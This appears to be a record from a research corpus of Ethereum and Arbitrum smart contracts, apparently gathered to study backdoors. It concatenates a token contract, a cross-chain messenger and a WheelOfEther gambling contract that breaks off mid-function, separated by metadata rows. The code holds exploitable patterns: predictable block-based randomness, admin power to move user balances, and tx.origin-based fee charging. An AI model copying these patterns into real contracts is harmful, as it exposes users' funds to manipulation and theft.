/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoSocialMedia"; // solhint-disable-line
string public constant SYMBOL = "CryptoSocialMediaToken"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 5000;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
/// @dev A mapping from item IDs to the address that owns them. All items have
/// some valid owner address.
mapping (uint256 => address) public itemIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from ItemIDs to an address that has been approved to call
/// transferFrom(). Each item can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public itemIndexToApproved;
// @dev A mapping from ItemIDs to the price of the token.
mapping (uint256 => uint256) private itemIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
struct Item {
string name;
bytes32 message;
}
Item[] private items;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function CryptoSocialMediaToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
createContractItem("4chan", "");
createContractItem("9gag", "");
createContractItem("Discord", "");
createContractItem("Facebook", "");
createContractItem("Google Plus", "");
createContractItem("Instagram", "");
createContractItem("Medium", "");
createContractItem("Periscope", "");
createContractItem("Pinterest", "");
createContractItem("Reddit", "");
createContractItem("Skype", "");
createContractItem("Snapchat", "");
createContractItem("Tumblr", "");
createContractItem("Twitch", "");
createContractItem("Twitter", "");
createContractItem("Wechat", "");
createContractItem("Whatsapp", "");
createContractItem("Youtube", "");
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
itemIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new Item with the given name.
function createContractItem(string _name, bytes32 _message) public onlyCOO {
_createItem(_name, address(this), startingPrice, _message);
}
/// @notice Returns all the relevant information about a specific item.
/// @param _tokenId The tokenId of the item of interest.
function getItem(uint256 _tokenId) public view returns (string itemName,
uint256 sellingPrice,
address owner,
bytes32 itemMessage) {
Item storage item = items[_tokenId];
itemName = item.name;
itemMessage = item.message;
sellingPrice = itemIndexToPrice[_tokenId];
owner = itemIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = itemIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId, bytes32 _message) public payable {
address oldOwner = itemIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = itemIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 94), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
itemIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94);
} else if (sellingPrice < secondStepLimit) {
// second stage
itemIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 94);
} else {
// third stage
itemIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.06)
}
TokenSold(_tokenId, sellingPrice, itemIndexToPrice[_tokenId], oldOwner, newOwner, items[_tokenId].name);
msg.sender.transfer(purchaseExcess);
// Update the message of the item
items[_tokenId].message = _message;
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return itemIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = itemIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose social media tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Items array looking for items belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalItems = totalSupply();
uint256 resultIndex = 0;
uint256 itemId;
for (itemId = 0; itemId <= totalItems; itemId++) {
if (itemIndexToOwner[itemId] == _owner) {
result[resultIndex] = itemId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return items.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return itemIndexToApproved[_tokenId] == _to;
}
/// For creating Item
function _createItem(string _name, address _owner, uint256 _price, bytes32 _message) private {
Item memory _item = Item({
name: _name,
message: _message
});
uint256 newItemId = items.push(_item) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newItemId == uint256(uint32(newItemId)));
Birth(newItemId, _name, _owner, _message);
itemIndexToPrice[newItemId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newItemId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == itemIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Item to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of items is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
itemIndexToOwner[_tokenId] = _to;
// When creating new items _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete itemIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,324 | 12,782 |
62cbabd530ac6af2bf1d6263b1f4e762b15c8a4f3e7c113d399beb999255f071
| 31,351 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/85/85267688ce7677d69d75f288ff3064431030af9f_ArbitrumL2Messenger.sol
| 4,120 | 17,015 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
/// The messenger interface.
///
/// Implementations of this interface are expected to transport
/// messages across the L1 <-> L2 boundary. For instance,
/// if an implementation is deployed on L1, the :sol:func:`sendMessage`
/// would send a message to a L2 chain, as determined by the implementation.
/// In order to do this, a messenger implementation may use a native
/// messenger contract. In such cases, :sol:func:`nativeMessenger` must
/// return the address of the native messenger contract.
interface IMessenger {
/// Send a message across the L1 <-> L2 boundary.
///
/// @param target The message recipient.
/// @param message The message.
function sendMessage(address target, bytes calldata message) external;
/// Return whether the call is allowed or not.
///
/// @param caller The caller.
/// @param courier The contract that is trying to deliver the message.
function callAllowed(address caller, address courier)
external
view
returns (bool);
}
interface IArbSys {
function arbBlockNumber() external view returns (uint256);
function arbBlockHash(uint256 arbBlockNum) external view returns (bytes32);
function arbChainID() external view returns (uint256);
function arbOSVersion() external view returns (uint256);
function getStorageGasAvailable() external view returns (uint256);
function isTopLevelCall() external view returns (bool);
function mapL1SenderContractAddressToL2Alias(address sender, address unused) external pure returns (address);
function wasMyCallersAddressAliased() external view returns (bool);
function myCallersAddressWithoutAliasing() external view returns (address);
function withdrawEth(address destination) external payable returns (uint256);
function sendTxToL1(address destination, bytes calldata data) external payable returns (uint256);
function sendMerkleTreeState()
external
view
returns (uint256 size,
bytes32 root,
bytes32[] memory partials);
event L2ToL1Tx(address caller,
address indexed destination,
uint256 indexed hash,
uint256 indexed position,
uint256 arbBlockNum,
uint256 ethBlockNum,
uint256 timestamp,
uint256 callvalue,
bytes data);
/// @dev DEPRECATED in favour of the new L2ToL1Tx event above after the nitro upgrade
event L2ToL1Transaction(address caller,
address indexed destination,
uint256 indexed uniqueId,
uint256 indexed batchNumber,
uint256 indexInBatch,
uint256 arbBlockNum,
uint256 ethBlockNum,
uint256 timestamp,
uint256 callvalue,
bytes data);
event SendMerkleUpdate(uint256 indexed reserved, bytes32 indexed hash, uint256 indexed position);
}
interface IBridge {
event MessageDelivered(uint256 indexed messageIndex,
bytes32 indexed beforeInboxAcc,
address inbox,
uint8 kind,
address sender,
bytes32 messageDataHash,
uint256 baseFeeL1,
uint64 timestamp);
event BridgeCallTriggered(address indexed outbox, address indexed to, uint256 value, bytes data);
event InboxToggle(address indexed inbox, bool enabled);
event OutboxToggle(address indexed outbox, bool enabled);
event SequencerInboxUpdated(address newSequencerInbox);
function allowedDelayedInboxList(uint256) external returns (address);
function allowedOutboxList(uint256) external returns (address);
function delayedInboxAccs(uint256) external view returns (bytes32);
function sequencerInboxAccs(uint256) external view returns (bytes32);
// OpenZeppelin: changed return type from IOwnable
function rollup() external view returns (address);
function sequencerInbox() external view returns (address);
function activeOutbox() external view returns (address);
function allowedDelayedInboxes(address inbox) external view returns (bool);
function allowedOutboxes(address outbox) external view returns (bool);
function sequencerReportedSubMessageCount() external view returns (uint256);
function enqueueDelayedMessage(uint8 kind,
address sender,
bytes32 messageDataHash) external payable returns (uint256);
function executeCall(address to,
uint256 value,
bytes calldata data) external returns (bool success, bytes memory returnData);
function delayedMessageCount() external view returns (uint256);
function sequencerMessageCount() external view returns (uint256);
// ---------- onlySequencerInbox functions ----------
function enqueueSequencerMessage(bytes32 dataHash,
uint256 afterDelayedMessagesRead,
uint256 prevMessageCount,
uint256 newMessageCount)
external
returns (uint256 seqMessageIndex,
bytes32 beforeAcc,
bytes32 delayedAcc,
bytes32 acc);
function submitBatchSpendingReport(address batchPoster, bytes32 dataHash) external returns (uint256 msgNum);
// ---------- onlyRollupOrOwner functions ----------
function setSequencerInbox(address _sequencerInbox) external;
function setDelayedInbox(address inbox, bool enabled) external;
function setOutbox(address inbox, bool enabled) external;
// ---------- initializer ----------
// OpenZeppelin: changed rollup_ type from IOwnable
function initialize(address rollup_) external;
}
interface IDelayedMessageProvider {
/// @dev event emitted when a inbox message is added to the Bridge's delayed accumulator
event InboxMessageDelivered(uint256 indexed messageNum, bytes data);
/// @dev event emitted when a inbox message is added to the Bridge's delayed accumulator
/// same as InboxMessageDelivered but the batch data is available in tx.input
event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum);
}
interface IInbox is IDelayedMessageProvider {
function bridge() external view returns (IBridge);
// OpenZeppelin: changed return type from ISequencerInbox
function sequencerInbox() external view returns (address);
function sendL2MessageFromOrigin(bytes calldata messageData) external returns (uint256);
function sendL2Message(bytes calldata messageData) external returns (uint256);
function sendL1FundedUnsignedTransaction(uint256 gasLimit,
uint256 maxFeePerGas,
uint256 nonce,
address to,
bytes calldata data) external payable returns (uint256);
function sendL1FundedContractTransaction(uint256 gasLimit,
uint256 maxFeePerGas,
address to,
bytes calldata data) external payable returns (uint256);
function sendUnsignedTransaction(uint256 gasLimit,
uint256 maxFeePerGas,
uint256 nonce,
address to,
uint256 value,
bytes calldata data) external returns (uint256);
function sendContractTransaction(uint256 gasLimit,
uint256 maxFeePerGas,
address to,
uint256 value,
bytes calldata data) external returns (uint256);
function calculateRetryableSubmissionFee(uint256 dataLength, uint256 baseFee) external view returns (uint256);
function depositEth() external payable returns (uint256);
function createRetryableTicket(address to,
uint256 l2CallValue,
uint256 maxSubmissionCost,
address excessFeeRefundAddress,
address callValueRefundAddress,
uint256 gasLimit,
uint256 maxFeePerGas,
bytes calldata data) external payable returns (uint256);
function unsafeCreateRetryableTicket(address to,
uint256 l2CallValue,
uint256 maxSubmissionCost,
address excessFeeRefundAddress,
address callValueRefundAddress,
uint256 gasLimit,
uint256 maxFeePerGas,
bytes calldata data) external payable returns (uint256);
// ---------- onlyRollupOrOwner functions ----------
/// @notice pauses all inbox functionality
function pause() external;
/// @notice unpauses all inbox functionality
function unpause() external;
// ---------- initializer ----------
function postUpgradeInit(IBridge _bridge) external;
// OpenZeppelin: changed _sequencerInbox type from ISequencerInbox
function initialize(IBridge _bridge, address _sequencerInbox) external;
}
interface IOutbox {
event SendRootUpdated(bytes32 indexed blockHash, bytes32 indexed outputRoot);
event OutBoxTransactionExecuted(address indexed to,
address indexed l2Sender,
uint256 indexed zero,
uint256 transactionIndex);
function rollup() external view returns (address); // the rollup contract
function bridge() external view returns (IBridge); // the bridge contract
function spent(uint256) external view returns (bytes32); // packed spent bitmap
function roots(bytes32) external view returns (bytes32); // maps root hashes => L2 block hash
// solhint-disable-next-line func-name-mixedcase
function OUTBOX_VERSION() external view returns (uint128); // the outbox version
function updateSendRoot(bytes32 sendRoot, bytes32 l2BlockHash) external;
/// @notice When l2ToL1Sender returns a nonzero address, the message was originated by an L2 account
/// When the return value is zero, that means this is a system message
function l2ToL1Sender() external view returns (address);
function l2ToL1Block() external view returns (uint256);
function l2ToL1EthBlock() external view returns (uint256);
function l2ToL1Timestamp() external view returns (uint256);
function l2ToL1OutputId() external view returns (bytes32);
function executeTransaction(bytes32[] calldata proof,
uint256 index,
address l2Sender,
address to,
uint256 l2Block,
uint256 l1Block,
uint256 l2Timestamp,
uint256 value,
bytes calldata data) external;
function executeTransactionSimulation(uint256 index,
address l2Sender,
address to,
uint256 l2Block,
uint256 l1Block,
uint256 l2Timestamp,
uint256 value,
bytes calldata data) external;
function isSpent(uint256 index) external view returns (bool);
function calculateItemHash(address l2Sender,
address to,
uint256 l2Block,
uint256 l1Block,
uint256 l2Timestamp,
uint256 value,
bytes calldata data) external pure returns (bytes32);
function calculateMerkleRoot(bytes32[] memory proof,
uint256 path,
bytes32 item) external pure returns (bytes32);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/// A helper contract that provides a way to restrict callers of restricted functions
/// to a single address. This allows for a trusted call chain,
/// as described in :ref:`contracts' architecture <contracts-architecture>`.
contract RestrictedCalls is Ownable {
/// Maps caller chain IDs to tuples [caller, messenger].
///
/// For same-chain calls, the messenger address is 0x0.
mapping(uint256 => address[2]) public callers;
function _addCaller(uint256 callerChainId,
address caller,
address messenger) internal {
require(caller != address(0), "RestrictedCalls: caller cannot be 0");
require(callers[callerChainId][0] == address(0),
"RestrictedCalls: caller already exists");
callers[callerChainId] = [caller, messenger];
}
/// Allow calls from an address on the same chain.
///
/// @param caller The caller.
function addCaller(address caller) external onlyOwner {
_addCaller(block.chainid, caller, address(0));
}
/// Allow calls from an address on another chain.
///
/// @param callerChainId The caller's chain ID.
/// @param caller The caller.
/// @param messenger The messenger.
function addCaller(uint256 callerChainId,
address caller,
address messenger) external onlyOwner {
_addCaller(callerChainId, caller, messenger);
}
/// Mark the function as restricted.
///
/// Calls to the restricted function can only come from an address that
/// was previously added by a call to :sol:func:`addCaller`.
///
/// Example usage::
///
/// restricted(block.chainid) // expecting calls from the same chain
/// restricted(otherChainId) // expecting calls from another chain
///
modifier restricted(uint256 callerChainId) {
address caller = callers[callerChainId][0];
if (callerChainId == block.chainid) {
require(msg.sender == caller, "RestrictedCalls: call disallowed");
} else {
address messenger = callers[callerChainId][1];
require(messenger != address(0),
"RestrictedCalls: messenger not set");
require(IMessenger(messenger).callAllowed(caller, msg.sender),
"RestrictedCalls: call disallowed");
}
_;
}
}
contract ArbitrumL1Messenger is IMessenger, RestrictedCalls {
IBridge public immutable bridge;
IInbox public immutable inbox;
/// Maps addresses to ETH deposits to be used for paying the submission fee.
mapping(address => uint256) public deposits;
constructor(address bridge_, address inbox_) {
bridge = IBridge(bridge_);
inbox = IInbox(inbox_);
}
function callAllowed(address caller, address courier)
external
view
returns (bool)
{
// The call from L2 must be delivered by the Arbitrum bridge.
if (courier != address(bridge)) return false;
IOutbox outbox = IOutbox(bridge.activeOutbox());
address sender = outbox.l2ToL1Sender();
return sender == caller;
}
function deposit() external payable {
deposits[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = deposits[msg.sender];
require(amount > 0, "nothing to withdraw");
deposits[msg.sender] = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "failed to send Ether");
}
function sendMessage(address target, bytes calldata message)
external
restricted(block.chainid)
{
uint256 submissionFee = inbox.calculateRetryableSubmissionFee(message.length,
0);
uint256 depositOrigin = deposits[tx.origin];
require(depositOrigin >= submissionFee, "insufficient deposit");
deposits[tx.origin] = depositOrigin - submissionFee;
// We set maxGas to 100_000. We also set gasPriceBid to 0 because the
// relayer will redeem the ticket on L2 and we only want to pay the
// submission cost on L1.
inbox.createRetryableTicket{value: submissionFee}(target,
0,
submissionFee,
tx.origin,
tx.origin,
100_000,
0,
message);
}
}
contract ArbitrumL2Messenger is IMessenger, Ownable, RestrictedCalls {
function callAllowed(address caller, address courier)
external
view
returns (bool)
{
// Arbitrum sets `msg.sender` on calls coming from L1 to be the aliased
// form of the address that sent the message so we need to check
// that aliased address here. In our case, that is the L2 alias of our
// caller, ArbitrumL1Messenger.
IArbSys arbsys = IArbSys(address(100));
return
courier ==
arbsys.mapL1SenderContractAddressToL2Alias(caller, address(0));
}
function sendMessage(address target, bytes calldata message)
external
restricted(block.chainid)
{
IArbSys arbsys = IArbSys(address(100));
arbsys.sendTxToL1(target, message);
}
}
| 45,356 | 12,783 |
50988e99b0a45089a971ac8602a609c988f2d89621dddff2e9e3619c1eecabf6
| 17,616 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x36649d5c33dff01abe05f769e5f2a1e8de178695.sol
| 3,162 | 12,667 |
pragma solidity ^0.4.23;
contract WheelOfEther {
using SafeMath for uint;
// Modifiers
modifier nonContract() { // contracts pls go
require(tx.origin == msg.sender);
_;
}
modifier gameActive() {
require(gamePaused == false);
_;
}
modifier onlyAdmin(){
require(msg.sender == admin);
_;
}
// Events
event onTokenPurchase(address indexed customerAddress,
uint256 ethereumIn,
uint256 contractBal,
uint256 devFee,
uint timestamp);
event onTokenSell(address indexed customerAddress,
uint256 ethereumOut,
uint256 contractBal,
uint timestamp);
event spinResult(address indexed customerAddress,
uint256 wheelNumber,
uint256 outcome,
uint256 ethSpent,
uint256 ethReturned,
uint256 userBalance,
uint timestamp);
uint256 _seed;
address admin;
bool public gamePaused = false;
uint256 minBet = 0.01 ether;
uint256 maxBet = 5 ether;
uint256 devFeeBalance = 0;
uint8[10] brackets = [1,3,6,12,24,40,56,68,76,80];
uint256 internal globalFactor = 10e21;
uint256 constant internal constantFactor = 10e21 * 10e21;
mapping(address => uint256) internal personalFactorLedger_;
mapping(address => uint256) internal balanceLedger_;
constructor()
public
{
admin = msg.sender;
}
function getBalance()
public
view
returns (uint256)
{
return this.balance;
}
function buyTokens()
public
payable
nonContract
gameActive
{
address _customerAddress = msg.sender;
// User must buy at least 0.02 eth
require(msg.value >= (minBet * 2));
// Add 2% fee of the buy to devFeeBalance
uint256 devFee = msg.value / 50;
devFeeBalance = devFeeBalance.add(devFee);
// Adjust ledgers while taking the dev fee into account
balanceLedger_[_customerAddress] = ethBalanceOf(_customerAddress).add(msg.value).sub(devFee);
personalFactorLedger_[_customerAddress] = constantFactor / globalFactor;
onTokenPurchase(_customerAddress, msg.value, this.balance, devFee, now);
}
function sell(uint256 sellEth)
public
nonContract
{
address _customerAddress = msg.sender;
// User must have enough eth and cannot sell 0
require(sellEth <= ethBalanceOf(_customerAddress));
require(sellEth > 0);
// Transfer balance and update user ledgers
_customerAddress.transfer(sellEth);
balanceLedger_[_customerAddress] = ethBalanceOf(_customerAddress).sub(sellEth);
personalFactorLedger_[_customerAddress] = constantFactor / globalFactor;
onTokenSell(_customerAddress, sellEth, this.balance, now);
}
function sellAll()
public
nonContract
{
address _customerAddress = msg.sender;
// Set the sell amount to the user's full balance, don't sell if empty
uint256 sellEth = ethBalanceOf(_customerAddress);
require(sellEth > 0);
// Transfer balance and update user ledgers
_customerAddress.transfer(sellEth);
balanceLedger_[_customerAddress] = 0;
personalFactorLedger_[_customerAddress] = constantFactor / globalFactor;
onTokenSell(_customerAddress, sellEth, this.balance, now);
}
function ethBalanceOf(address _customerAddress)
public
view
returns (uint256)
{
// Balance ledger * personal factor * globalFactor / constantFactor
return balanceLedger_[_customerAddress].mul(personalFactorLedger_[_customerAddress]).mul(globalFactor) / constantFactor;
}
function tokenSpin(uint256 betEth)
public
nonContract
gameActive
returns (uint256 resultNum)
{
address _customerAddress = msg.sender;
// User must have enough eth
require(ethBalanceOf(_customerAddress) >= betEth);
// User must bet at least the minimum
require(betEth >= minBet);
// If the user bets more than maximum...they just bet the maximum
if (betEth > maxBet){
betEth = maxBet;
}
// User cannot bet more than 10% of available pool
if (betEth > betPool(_customerAddress)/10) {
betEth = betPool(_customerAddress)/10;
}
// Execute the bet and return the outcome
resultNum = bet(betEth, _customerAddress);
}
function spinAllTokens()
public
nonContract
gameActive
returns (uint256 resultNum)
{
address _customerAddress = msg.sender;
// set the bet amount to the user's full balance
uint256 betEth = ethBalanceOf(_customerAddress);
// User cannot bet more than 10% of available pool
if (betEth > betPool(_customerAddress)/10) {
betEth = betPool(_customerAddress)/10;
}
// User must bet more than the minimum
require(betEth >= minBet);
// If the user bets more than maximum...they just bet the maximum
if (betEth >= maxBet){
betEth = maxBet;
}
// Execute the bet and return the outcome
resultNum = bet(betEth, _customerAddress);
}
function etherSpin()
public
payable
nonContract
gameActive
returns (uint256 resultNum)
{
address _customerAddress = msg.sender;
uint256 betEth = msg.value;
// All eth is converted into tokens before the bet
// User must buy at least 0.02 eth
require(betEth >= (minBet * 2));
// Add 2% fee of the buy to devFeeBalance
uint256 devFee = betEth / 50;
devFeeBalance = devFeeBalance.add(devFee);
betEth = betEth.sub(devFee);
// If the user bets more than maximum...they just bet the maximum
if (betEth >= maxBet){
betEth = maxBet;
}
// Adjust ledgers while taking the dev fee into account
balanceLedger_[_customerAddress] = ethBalanceOf(_customerAddress).add(msg.value).sub(devFee);
personalFactorLedger_[_customerAddress] = constantFactor / globalFactor;
// User cannot bet more than 10% of available pool
if (betEth > betPool(_customerAddress)/10) {
betEth = betPool(_customerAddress)/10;
}
// Execute the bet while taking the dev fee into account, and return the outcome
resultNum = bet(betEth, _customerAddress);
}
function betPool(address _customerAddress)
public
view
returns (uint256)
{
// Balance of contract, minus eth balance of user and accrued dev fees
return this.balance.sub(ethBalanceOf(_customerAddress)).sub(devFeeBalance);
}
function panicButton(bool newStatus)
public
onlyAdmin
{
gamePaused = newStatus;
}
function refundUser(address _customerAddress)
public
onlyAdmin
{
uint256 sellEth = ethBalanceOf(_customerAddress);
_customerAddress.transfer(sellEth);
balanceLedger_[_customerAddress] = 0;
personalFactorLedger_[_customerAddress] = constantFactor / globalFactor;
onTokenSell(_customerAddress, sellEth, this.balance, now);
}
function getDevBalance()
public
view
returns (uint256)
{
return devFeeBalance;
}
function withdrawDevFees()
public
onlyAdmin
{
admin.transfer(devFeeBalance);
devFeeBalance = 0;
}
// Internal Functions
function bet(uint256 betEth, address _customerAddress)
internal
returns (uint256 resultNum)
{
// Spin the wheel
resultNum = random(80);
// Determine the outcome
uint result = determinePrize(resultNum);
uint256 returnedEth;
if (result < 5) // < 5 = WIN
{
uint256 wonEth;
if (result == 0){ // Grand Jackpot
wonEth = betEth.mul(9) / 10; // +90% of original bet
} else if (result == 1){ // Jackpot
wonEth = betEth.mul(8) / 10; // +80% of original bet
} else if (result == 2){ // Grand Prize
wonEth = betEth.mul(7) / 10; // +70% of original bet
} else if (result == 3){ // Major Prize
wonEth = betEth.mul(6) / 10; // +60% of original bet
} else if (result == 4){ // Minor Prize
wonEth = betEth.mul(3) / 10; // +30% of original bet
}
winEth(_customerAddress, wonEth); // Award the user their prize
returnedEth = betEth.add(wonEth);
} else if (result == 5){ // 5 = Refund
returnedEth = betEth;
}
else { // > 5 = LOSE
uint256 lostEth;
if (result == 6){ // Minor Loss
lostEth = betEth / 10; // -10% of original bet
} else if (result == 7){ // Major Loss
lostEth = betEth / 4; // -25% of original bet
} else if (result == 8){ // Grand Loss
lostEth = betEth / 2; // -50% of original bet
} else if (result == 9){ // Total Loss
lostEth = betEth; // -100% of original bet
}
loseEth(_customerAddress, lostEth); // "Award" the user their loss
returnedEth = betEth.sub(lostEth);
}
uint256 newBal = ethBalanceOf(_customerAddress);
spinResult(_customerAddress, resultNum, result, betEth, returnedEth, newBal, now);
return resultNum;
}
function maxRandom()
internal
returns (uint256 randomNumber)
{
_seed = uint256(keccak256(abi.encodePacked(_seed,
blockhash(block.number - 1),
block.coinbase,
block.difficulty,
now)));
return _seed;
}
function random(uint256 upper)
internal
returns (uint256 randomNumber)
{
return maxRandom() % upper + 1;
}
function determinePrize(uint256 result)
internal
returns (uint256 resultNum)
{
// Loop until the result bracket is determined
for (uint8 i=0;i<=9;i++){
if (result <= brackets[i]){
return i;
}
}
}
function loseEth(address _customerAddress, uint256 lostEth)
internal
{
uint256 customerEth = ethBalanceOf(_customerAddress);
// Increase amount of eth everyone else owns
uint256 globalIncrease = globalFactor.mul(lostEth) / betPool(_customerAddress);
